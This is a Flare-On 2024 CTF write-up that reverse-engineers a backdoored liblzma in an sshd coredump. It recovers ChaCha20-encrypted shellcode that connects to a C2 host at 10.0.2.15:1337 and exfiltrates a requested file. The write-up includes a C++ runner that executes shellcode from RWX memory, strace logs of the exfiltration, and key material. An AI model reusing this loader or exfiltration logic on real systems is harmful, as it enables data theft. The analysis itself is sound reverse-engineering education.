Flare-On is an annual CTF run by Mandiant Flare Team. In this series of writeups I present solutions to some of my favorite tasks from this year. All the sourcecodes are available on my Github, in dedicated repository: flareon2024.
The 5-th task comes with the following description:
sshd Our server in the FLARE Intergalactic HQ has crashed! Now criminals are trying to sell me my own data!!! Do your part, random internet hacker, to help FLARE out and tell us what data they stole! We used the best forensic preservation technique of just copying all the files on the system for you. 7zip archive password: flare
We are provided with the archive containing a data structure from a Docker container with Linux installation. Since the title of the task suggests that it is related to SSH, we can start by searching in this structure any artifacts related to this service. It turns out that there is a coredump created when the SSH deamon crashed.
│ ├── systemd │ │ ├── catalog │ │ │ └── database │ │ ├── coredump │ │ │ └── sshd.core.93794.0.0.11.1725917676
The dump is located in:
/var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676
The relevant binary can be found in:
./sbin/sshd
Loading both together under GDB and checking:
$ gdb sshd sshd.core.93794.0.0.11.1725917676
gef➤ info stack #0 0x0000000000000000 in ?? () #1 0x00007f4a18c8f88f in lzma_str_list_filters () from /lib/x86_64-linux-gnu/liblzma.so.5 Backtrace stopped: previous frame inner to this frame (corrupt stack?)
The callstack points that there is a crash in libzma. Let’s display the list of all loaded libraries, to see where we can find the relevant module. It can be done with the command info sharedlibrary
.
gef➤ info sharedlibrary From To Syms Read Shared Object Library [...] 0x00007f4a18c8a4e8 0x00007f4a18cab6d7 Yes (*) /lib/x86_64-linux-gnu/liblzma.so.5 [...]
The libzma library is a part of xz-utils. At this point, it reminded me of the XZ backdoor that made the news earlier this year. Details of it were described i.e. here. In case of that backdoor, the RSA_public_decrypt function was hooked, and augmented with malicious code. So I expected to find something similar in the current task. The version affected by the trojan (5.6.0 and 5.6.1)is different than the one used in the task (5.4.1). But either way, let’s look inside.
First, I fetched the liblzma.so.5
module from the relevant location, and opened it in IDA. Looking at the strings we can find that indeed the function RSA_public_decrypt is referenced. Checking where the references leads to, we can see the function that installs a hook.
The hook is indeed responsible for executing some potentially malicious payload. This path of execution will be triggered if the data received by the `RSA_public_decrypt
function starts with a predefined magic number. After a quick analysis, we can see that the ChaCha20 algorithm is used to protect the payload.
The shellcode is hardcoded in the binary, while the key is received from the C2 in the packet starting with 0xC5407A48
magic.
The encrypted shellcode:
We can possibly find the packet in the memory saved in the crashdump.
Searching the DWORD 0xC5407A48
(487A40C5
in little endian) leads to the following data chunk:
The magic DWORD is followed by the key and nonce used to initialize the ChaCha20 context.
Analysing the Chacha20_init function we can see clearly how the key and the nonce are loaded:
The ChaCha20 key is 32-bytes long, and the nonce is 12-bytes long. The relevant buffers can be extracted from the packet:
94 3D F6 38 A8 18 13 E2 DE 63 18 A5 07 F9 A0 BA 2D BB 8A 7B A6 36 66 D0 8D 11 A6 5E C9 14 D6 6F F2 36 83 9F 4D CD 71 1A 52 86 29 55 58 58 D1 B7
Having all needed data, we can decrypt is with CyberChef. The decrypted content (decrypted.dat) reveals patterns typical for shellcode.
Now, let’s load the result into IDA and have a closer look…
It calls different system functions via direct syscalls.
To get a quick understanding of what is going on, I decided to just run the shellcode and observe it. I adapted the fragment of the original function responsible for deploying it:
int main() { const size_t shellc_size = sizeof(shellc_data); void* buf = mmap(0LL, shellc_size, 7, 34, -1, 0LL); void *shellc = memcpy(buf, shellc_data, shellc_size); int (*shc_main)() = (int(*)())shellc; std::cout << "Running the shellcode: " << std::hex << shellc << "\n"; shc_main(); std::cout << "Finished!\n"; return 0; }
Then, traced the runner with strace
, getting the following:
write(1, "Running the shellcode: 0x779d190"..., 38Running the shellcode: 0x779d1905a000 ) = 38 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("10.0.2.15")}, 16) = -1 ECONNREFUSED (Connection refused) recvfrom(-111, 0x7ffca53af038, 32, 0, NULL, NULL) = -1 EBADF (Bad file descriptor) recvfrom(-111, 0x7ffca53af058, 12, 0, NULL, NULL) = -1 EBADF (Bad file descriptor) recvfrom(-111, 0x7ffca53b01e8, 4, 0, NULL, NULL) = -1 EBADF (Bad file descriptor) recvfrom(-111, 0x7ffca53af068, 411593218, 0, NULL, NULL) = -1 EBADF (Bad file descriptor) open("", O_RDONLY) = -1 ENOENT (No such file or directory) read(-2, 0x7ffca53af168, 128) = -1 EBADF (Bad file descriptor) sendto(-111, "\0\0\0\0", 4, 0, NULL, 0) = -1 EBADF (Bad file descriptor) sendto(-111, "", 0, 0, NULL, 0) = -1 EBADF (Bad file descriptor) close(-2) = -1 EBADF (Bad file descriptor) shutdown(-111, SHUT_RD) = -1 EBADF (Bad file descriptor) write(1, "Finished!\n", 10Finished! ) = 10 exit_group(0) = ? +++ exited with 0 +++
At this point we can see that the shellcode tries to connect to “10.0.2.15” on port 1337. Then it will try to read data from the socket, in the following portions: 32-bytes, 12-bytes, and 4-bytes. The lengths of the first two chunks are the same as the previously used ChaCha20 key and nonce, so at this point I started to suspect that ChaCha20 will be used again.
I decided to make a simple patch in the shellcode, to make it connect to the localhost instead of “10.0.2.15”, so that it will communicate with my own server, written in Python. The IP address is stored as a DWORD, so it is enough to replace it.
The full runner is available here: shc_runner.cpp
.
Then, with the help of a Python server, I started sending to the shellcode some data, and was observing under the strace
how it behaves. The first version of the server was just sending 3 buffers of the previously observed length, each with a dummy content (filled with ‘A’, ‘B’, or ‘C’ characters). Now the output displayed by strace has changed:
write(1, "Running the shellcode: 0x7774cc8"..., 38Running the shellcode: 0x7774cc857000 ) = 38 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 recvfrom(3, "\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252", 32, 0, NULL, NULL) = 32 recvfrom(3, "\273\273\273\273\273\273\273\273\273\273\273\273", 12, 0, NULL, NULL) = 12 recvfrom(3, "\314\314\314\314", 4, 0, NULL, NULL) = 4 recvfrom(3, "", 3435973836, 0, NULL, NULL) = 0 open("", O_RDONLY) = -1 ENOENT (No such file or directory) read(-2, 0x7ffc026a0a68, 128) = -1 EBADF (Bad file descriptor) sendto(3, "\0\0\0\0", 4, 0, NULL, 0) = 4 sendto(3, "", 0, 0, NULL, 0) = -1 EPIPE (Broken pipe) --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=21332, si_uid=1000} --- +++ killed by SIGPIPE +++
We can see that after receiving the 4 bytes long buffer, it tries to read another one, of the length 3435973836
, that is CCCCCCCC
in hex. So the content of the 3-rd buffer is a DWORD defining the content of the 4-th buffer. Then it tries to open a file – but in the tested case, the name of this file was empty. So we can guess that it was probably to be defined by the 4-th buffer. I updated the server with this observation, and tried again.
Indeed the shellcode attempts to read the file with the passed name. If we create a file with a dummy content, it will read it, encrypt it, and send the encrypted content back:
write(1, "Running the shellcode: 0x7d12239"..., 38Running the shellcode: 0x7d1223953000 ) = 38 socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3 connect(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("127.0.0.1")}, 16) = 0 recvfrom(3, "\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252\252", 32, 0, NULL, NULL) = 32 recvfrom(3, "\273\273\273\273\273\273\273\273\273\273\273\273", 12, 0, NULL, NULL) = 12 recvfrom(3, "\10\0\0\0", 4, 0, NULL, NULL) = 4 recvfrom(3, "demo.bin", 8, 0, NULL, NULL) = 8 open("demo.bin", O_RDONLY) = 4 read(4, "This is a demo file!\n", 128) = 21 sendto(3, "\25\0\0\0", 4, 0, NULL, 0) = 4 sendto(3, "z\37q\224\4\211\217W\270\206 \23\322\f\347\\\276\5\24\255\360", 21, 0, NULL, 0) = -1 EPIPE (Broken pipe) --- SIGPIPE {si_signo=SIGPIPE, si_code=SI_USER, si_pid=22266, si_uid=1000} --- +++ killed by SIGPIPE +++
At this point we can guess what to do next. The task is about some file that has been exfiltrated with the help of the backdoor. We need to find what was exfiltrated, and decrypt it. Since there are no PCAPs provided, we can expect that the exfiltrated content was saved when the sshd
crashed, and the encrypted data is somewhere in the coredump.
Finding the relevant input in the memory dump is not easy, but doable, knowing some indicators. The only part of data that is an ASCII string is the file name. So I started by searching in the coredump for some common extensions, such as .txt. It lead me to the following:
The file /root/certificate_authority_signing_key.txt
looks like something that the attacker could be potentially looking for. The docker container that we were provided does not have that file included. But interestingly, checking the /root
directory leads to a decoy file, named “flag.txt”:
It may be another indicator that we are indeed on the good track.
Looking at the full blob containing the path, we can see some familiar patterns. It is in the structure formatted exactly as the structure read from the socket:
struct data { BYTE key[32]; BYTE nonce[12]; DWORD buf_size; char buf[buf_size]; };
So at this point we have the candidates for the key, and for the nonce:
[ 8D EC 91 12 EB 76 0E DA 7C 7D 87 A4 43 27 1C 35 D9 E0 CB 87 89 93 B4 D9 04 AE F9 34 FA 21 66 D7 ] [ 11 11 11 11 11 11 11 11 11 11 11 11 ]
What is still missing is the content of the file itself. Since it is in an encryted blob, without any magic number, it will be hard to identify it. We can however predict that it will be somewhere in the very close proximity with the rest of the data. It may be a small blob, containing only the single string with the flag. A possible candidate:
I first tried to decrypt it using ChaCha20 implemented by CyberChef, but it failed. It could fail for two possible reasons: either my input is wrong, or the implementation of ChaCha20 used by the shellcode is slightly different than the official one. Fortunately it is easy to check – I can just pass the data that I have to the original shellcode, via my Python server. Since it is a symmetric crypto, if all data is correct, I will get it decrypted back just by the shellcode itself.
I saved the extracted blob into a file (“flag_blob.bin”), and passed it via my server to the shellcode: https://github.com/hasherezade/flareon2024/blob/main/task5/server.py
And it worked! The flag got decrypted: